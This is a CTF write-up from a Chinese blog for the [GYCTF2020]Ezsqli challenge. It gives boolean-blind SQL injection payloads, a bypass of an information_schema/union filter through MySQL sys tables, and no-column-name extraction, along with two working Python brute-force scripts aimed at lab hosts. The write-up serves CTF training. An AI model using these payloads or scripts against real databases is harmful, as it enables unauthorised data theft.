首页 > 数据库 >WEB|[GYCTF2020]Ezsqli

WEB|[GYCTF2020]Ezsqli

时间:2023-05-06 15:48:28浏览次数:50  
标签:WEB end GYCTF2020 flag Ezsqli table id select schema


页面只有一个输入框,并且题目提示为SQL注入
输入1

输入2

输入3

输入1、2和3输出的内容不同,所以判断为布尔注入
判断数据库长度为21,确认为布尔注入

  • 依次匹配字符,匹配成功返回输入1的页面,否则显示输入2的页面

payload:

id=if(length(database())=21,1,2)

爆数据库名

id=if(substr(database(),1,1)="a",1,2)

give_grandpa_pa_pa_pa

脚本:

import requests

url = 'http://0c6ebf06-dd69-4596-8c4b-a13e10a76d3e.node4.buuoj.cn:81?stunum='
str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',',','.','@','_','-',':',';','[',']','{','}','end']
# str = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',',','.','@','_','-',':',';','[',']','{','}']
result = ''
end = ''

for i in range(1, 50):
    for s in str:
        geturl = url + "if(substr((select(group_concat(value))from(flag)),%d,1)='%s',1,2)" % (i, s)
        res = requests.get(geturl)
        if (('Hi admin, your score is: 100' in res.text) and (res.status_code == 200)):
            result += s
            print(result)
            break
        if s == 'end':
            end = 'end'
    if end == 'end':
        break

爆表名

id=if(substr(select table_name from information_schema.tables where
table_schema=database() ,1,1) ="a" ,1,2)

但是这里被检测出来了,绕过测试过滤了information_schema,还有or和union等

当information_schema被过滤可以使用,mysql.innodb_table_stats、sys.schema_auto_increment_columns和sys.schema_table_statistics_with_buffer,但是此表无列名,所以涉及到无列名注入

id=if(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),4,1)='x',1,2)

users233333333333333,f1ag_1s_h3r3_hhhhh

爆数据

方法一

直接猜列名为flag

id=if(substr((select flag from f1ag_1s_h3r3_hhhhh),4,1)='x',1,2)

flag{7433ab4e-715b-4c07-bfa2-db86ea464f78}

方法二

因为过滤了union所以用不了传统的无列名注入获取数据

1 ^ ( (select 1,1) > (select * from f1ag_1s_h3r3_hhhhh))

增减1的数量确定列数

1 ^ ( (select 1,'f') > (select * from f1ag_1s_h3r3_hhhhh))

脚本:

import requests
url = 'http://68bcc396-7f61-412d-a59b-d01fad776cce.node4.buuoj.cn:81/index.php'

flag = ''
end = ''
while True:

    if end == 'end':
        break
    for j in range(32, 127):
        data = {
            'id': '1 ^ ( (select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh))'.format(flag+chr(j))
        }
        res = requests.post(url, data=data)
        if 'Error Occured When Fetch Result.' in res.text:
            flag += chr(j-1)
            print(flag)
            if chr(j-1) == '}':
                end = 'end'
            break
  • 按位依次与查询到的数据进行比较
  • f小于等于询到的数据时页面显示Nu1L,f大于询到的数据时显示Error Occured When Fetch Result.
  • 大于时将字符数减一,添加到flag后
  • 匹配到 } 就结束

参考文章:
SQL注入:限制条件下获取表名、无列名注入
ctf无列名注入小结

标签:WEB,end,GYCTF2020,flag,Ezsqli,table,id,select,schema
From: https://www.cnblogs.com/scarecr0w7/p/17377297.html

相关文章

  • WEB|[GWCTF 2019]枯燥的抽奖
    页面提示需要输入以lw1ar7AWmn开头的20位字符串才能获得flag,查看页面源码发现check.php访问check.php,发现源码伪随机数mt_srand($_SESSION['seed']);$str_long1="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for($i=0;$i......
  • APP和WEB的测试区别
    在功能测试时,要考虑手机应用的特性:1)手机屏幕尺寸偏小,所以手机应用一般就占满了全屏,因此要考虑手机在前后端切换时被测试应用在资源使用时的优先级变化情况;还要考虑手机横竖屏切换时的测试2)手机是智能移动终端,因此要考虑网络运营商、网络信号强弱、网络信号有无、被测试应用在低电......
  • WEB|[FBCTF2019]RCEService
    页面提示输入json格式的命令{"cmd":"ls"}输入ls命令查看当前目录文件,当前目录仅有index.php文件读取index.php文件,发现被检测到{"cmd":"cat./index.php"}经过测试发现很多命令和符号都被过滤,自己是没有做出来,在看别人的wp时发现他们不知道从哪里找到的源码源码<?ph......
  • WEB|[极客大挑战 2019]RCE ME
    <?phperror_reporting(0);if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("ThisistooLong.");......
  • WEB|[极客大挑战 2019]FinalSQL
    提示点击获取flag,依次点击可以发现注入点应该是在id,id=5提示试试id=6id=6也没有什么特殊内容,对id进行了简单测试,发现存在过滤,fuzz一下,发现对if、and、空格和()等部分符号进行了过滤过滤字符可使用其他字符绕过,页面存在盲注入,存在非法字符提示“你可别被我逮住了,臭弟弟”,输入......
  • WEB|[红明谷CTF 2021]write_shell
    源码:<?phperror_reporting(0);highlight_file(__FILE__);functioncheck($input){#过滤字符if(preg_match("/'||_|php|;|~|\\^|\\+|eval|{|}/i",$input)){//if(preg_match("/'||_|=|php/",$input)){die(......
  • WEB|[NPUCTF2020]ReadlezPHP
    打开网页发现什么都没有,burpsuite抓包查看源码发现链接./time.php?source,访问链接发现源码<?php#error_reporting(0);classHelloPhp{public$a;public$b;publicfunction__construct(){$this->a="Y-m-dh:i:s";$this->b="date&qu......
  • WEB|[NCTF2019]True XML cookbook
    题目提示XML,直接抓包注入XML<?xmlversion="1.0"?><!DOCTYPElkj[<!ENTITYadminSYSTEM"file:///flag">]><user> <username>&admin;</username> <password>1</password></user>读取失败修改......
  • WEB|[MRCTF2020]套娃
    查看网页源码发现代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333'&&am......
  • Net Core Web Api 配置Swagger
    一、创建NETCoreAPI项目NETCore版本:NETCore2.21.创建coreweb应用程序2.选择API3.下图为生成后的项目二、安装Swagger1.打开NuGet包管理器2.搜索Swashbuckle.AspNetCore安装在项目上3.点击我接受三、配置Swagger对于ConfigureServices和Configure的配置点击可参考1.ConfigureS......